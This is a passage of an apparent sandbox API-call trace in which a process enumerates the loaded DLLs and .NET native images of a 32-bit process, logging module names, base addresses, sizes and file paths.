0x4e7ba58 [0066.578] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0066.578] CoTaskMemFree (pv=0x4e7ba58) [0066.578] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x275c860, cb=0xc | out: lpmodinfo=0x275c860*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0066.578] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.578] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0066.579] CoTaskMemFree (pv=0x4e7ba58) [0066.579] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.579] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0066.579] CoTaskMemFree (pv=0x4e7ba58) [0066.579] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x275e96c, cb=0xc | out: lpmodinfo=0x275e96c*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0066.579] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.579] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0066.579] CoTaskMemFree (pv=0x4e7ba58) [0066.579] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.579] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0066.580] CoTaskMemFree (pv=0x4e7ba58) [0066.580] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x2760ac4, cb=0xc | out: lpmodinfo=0x2760ac4*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0066.580] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.580] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0066.580] CoTaskMemFree (pv=0x4e7ba58) [0066.580] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.580] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0066.581] CoTaskMemFree (pv=0x4e7ba58) [0066.581] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x2762bd0, cb=0xc | out: lpmodinfo=0x2762bd0*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0066.581] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.581] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0066.581] CoTaskMemFree (pv=0x4e7ba58) [0066.582] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.582] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0066.582] CoTaskMemFree (pv=0x4e7ba58) [0066.582] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x2764ce4, cb=0xc | out: lpmodinfo=0x2764ce4*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0066.582] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.582] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0066.583] CoTaskMemFree (pv=0x4e7ba58) [0066.583] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.583] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0066.583] CoTaskMemFree (pv=0x4e7ba58) [0066.583] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x2766e2c, cb=0xc | out: lpmodinfo=0x2766e2c*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0066.584] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.584] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0066.584] CoTaskMemFree (pv=0x4e7ba58) [0066.584] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.584] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0066.584] CoTaskMemFree (pv=0x4e7ba58) [0066.584] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x2768f38, cb=0xc | out: lpmodinfo=0x2768f38*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0066.585] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.585] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0066.585] CoTaskMemFree (pv=0x4e7ba58) [0066.585] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.585] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0066.586] CoTaskMemFree (pv=0x4e7ba58) [0066.586] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x276b03c, cb=0xc | out: lpmodinfo=0x276b03c*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0066.586] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.586] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0066.587] CoTaskMemFree (pv=0x4e7ba58) [0066.587] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.587] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0066.587] CoTaskMemFree (pv=0x4e7ba58) [0066.587] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x276d148, cb=0xc | out: lpmodinfo=0x276d148*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0066.588] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.588] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0066.588] CoTaskMemFree (pv=0x4e7ba58) [0066.588] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.588] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0066.589] CoTaskMemFree (pv=0x4e7ba58) [0066.589] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x276f244, cb=0xc | out: lpmodinfo=0x276f244*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0066.589] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.589] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0066.589] CoTaskMemFree (pv=0x4e7ba58) [0066.590] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.590] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0066.590] CoTaskMemFree (pv=0x4e7ba58) [0066.590] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x27713d4, cb=0xc | out: lpmodinfo=0x27713d4*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0066.591] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.591] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0066.591] CoTaskMemFree (pv=0x4e7ba58) [0066.591] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.591] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0066.592] CoTaskMemFree (pv=0x4e7ba58) [0066.592] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x27734d8, cb=0xc | out: lpmodinfo=0x27734d8*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0066.592] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.592] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0066.593] CoTaskMemFree (pv=0x4e7ba58) [0066.593] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.593] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0066.593] CoTaskMemFree (pv=0x4e7ba58) [0066.593] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x27755dc, cb=0xc | out: lpmodinfo=0x27755dc*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0066.594] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.594] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0066.594] CoTaskMemFree (pv=0x4e7ba58) [0066.594] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.594] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0066.595] CoTaskMemFree (pv=0x4e7ba58) [0066.595] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x27776e8, cb=0xc | out: lpmodinfo=0x27776e8*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0066.595] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.595] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0066.596] CoTaskMemFree (pv=0x4e7ba58) [0066.596] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.596] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0066.596] CoTaskMemFree (pv=0x4e7ba58) [0066.596] GetModuleInformation (in: hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x2779818, cb=0xc | out: lpmodinfo=0x2779818*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0066.597] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.597] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0066.598] CoTaskMemFree (pv=0x4e7ba58) [0066.598] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.598] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0066.598] CoTaskMemFree (pv=0x4e7ba58) [0066.598] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x277b94c, cb=0xc | out: lpmodinfo=0x277b94c*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0066.599] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.599] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0066.599] CoTaskMemFree (pv=0x4e7ba58) [0066.599] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.599] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0066.600] CoTaskMemFree (pv=0x4e7ba58) [0066.600] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x277daf4, cb=0xc | out: lpmodinfo=0x277daf4*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0066.600] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.600] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0066.601] CoTaskMemFree (pv=0x4e7ba58) [0066.601] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.601] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0066.602] CoTaskMemFree (pv=0x4e7ba58) [0066.602] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x277fbf8, cb=0xc | out: lpmodinfo=0x277fbf8*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0066.602] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.602] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0066.603] CoTaskMemFree (pv=0x4e7ba58) [0066.603] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.603] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0066.604] CoTaskMemFree (pv=0x4e7ba58) [0066.604] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x2781d04, cb=0xc | out: lpmodinfo=0x2781d04*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0066.604] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.604] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0066.605] CoTaskMemFree (pv=0x4e7ba58) [0066.605] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.605] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0066.605] CoTaskMemFree (pv=0x4e7ba58) [0066.605] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x2783ea0, cb=0xc | out: lpmodinfo=0x2783ea0*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0066.606] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.606] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0066.607] CoTaskMemFree (pv=0x4e7ba58) [0066.607] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.607] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0066.607] CoTaskMemFree (pv=0x4e7ba58) [0066.607] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x278605c, cb=0xc | out: lpmodinfo=0x278605c*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0066.608] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.608] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0066.609] CoTaskMemFree (pv=0x4e7ba58) [0066.609] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.609] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0066.609] CoTaskMemFree (pv=0x4e7ba58) [0066.609] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x2788250, cb=0xc | out: lpmodinfo=0x2788250*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0066.610] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.610] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0066.611] CoTaskMemFree (pv=0x4e7ba58) [0066.611] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.611] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0066.611] CoTaskMemFree (pv=0x4e7ba58) [0066.611] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x278a390, cb=0xc | out: lpmodinfo=0x278a390*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0066.612] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.612] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0066.612] CoTaskMemFree (pv=0x4e7ba58) [0066.612] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.612] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0066.613] CoTaskMemFree (pv=0x4e7ba58) [0066.613] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x278c4a4, cb=0xc | out: lpmodinfo=0x278c4a4*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0066.614] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.614] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0066.614] CoTaskMemFree (pv=0x4e7ba58) [0066.614] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.614] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0066.615] CoTaskMemFree (pv=0x4e7ba58) [0066.615] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x278e670, cb=0xc | out: lpmodinfo=0x278e670*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0066.616] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.616] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0066.616] CoTaskMemFree (pv=0x4e7ba58) [0066.616] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.616] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0066.617] CoTaskMemFree (pv=0x4e7ba58) [0066.617] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x2790860, cb=0xc | out: lpmodinfo=0x2790860*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0066.618] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.618] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0066.618] CoTaskMemFree (pv=0x4e7ba58) [0066.618] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.618] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0066.619] CoTaskMemFree (pv=0x4e7ba58) [0066.619] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x2792a78, cb=0xc | out: lpmodinfo=0x2792a78*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0066.620] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.620] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0066.620] CoTaskMemFree (pv=0x4e7ba58) [0066.620] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.620] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0066.621] CoTaskMemFree (pv=0x4e7ba58) [0066.621] GetModuleInformation (in: hProcess=0x290, hModule=0x743d0000, lpmodinfo=0x2794b84, cb=0xc | out: lpmodinfo=0x2794b84*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0066.622] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.622] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.622] CoTaskMemFree (pv=0x4e7ba58) [0066.622] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.623] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0066.623] CoTaskMemFree (pv=0x4e7ba58) [0066.623] GetModuleInformation (in: hProcess=0x290, hModule=0x743b0000, lpmodinfo=0x2796d4c, cb=0xc | out: lpmodinfo=0x2796d4c*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0066.624] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.624] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0066.625] CoTaskMemFree (pv=0x4e7ba58) [0066.625] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.625] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0066.626] CoTaskMemFree (pv=0x4e7ba58) [0066.626] GetModuleInformation (in: hProcess=0x290, hModule=0x742e0000, lpmodinfo=0x2798e9c, cb=0xc | out: lpmodinfo=0x2798e9c*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 